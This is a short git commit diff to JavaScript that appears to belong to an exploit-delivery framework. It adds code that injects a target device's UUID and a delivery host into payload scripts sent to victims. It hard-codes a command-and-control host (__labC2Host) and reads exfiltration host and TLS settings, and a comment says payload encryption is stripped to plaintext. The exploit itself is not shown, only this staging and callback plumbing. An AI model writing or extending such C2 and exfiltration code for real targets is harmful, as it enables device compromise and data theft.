This commit is contained in:
hashbro
2026-09-10 05:04:56 +08:00
parent 9651b91d84
commit b212332828
5 changed files with 55 additions and 4 deletions
+6 -1
View File
@@ -49,6 +49,7 @@ function print(x, reportError = false, dumphex = false) {
// 去掉加解密:明文直通,不再解密任何 blob。
var _enc_pass = '';
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
var __labDeviceUUID = '';
function _labDecryptWire(text) {
return text;
@@ -60,7 +61,10 @@ function print(x, reportError = false, dumphex = false) {
var d = '';
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
if (!d) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";';
if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";';
pre += '}catch(_d){}\n';
return pre + text;
}
function getJS(fname,method = 'POST')
@@ -14449,6 +14453,7 @@ async function main() {
{
__labC2Host = 'http://192.168.31.130:8080';
host = data.desiredHost;
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
try {
var _tls = !!data.exfilTls;
var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];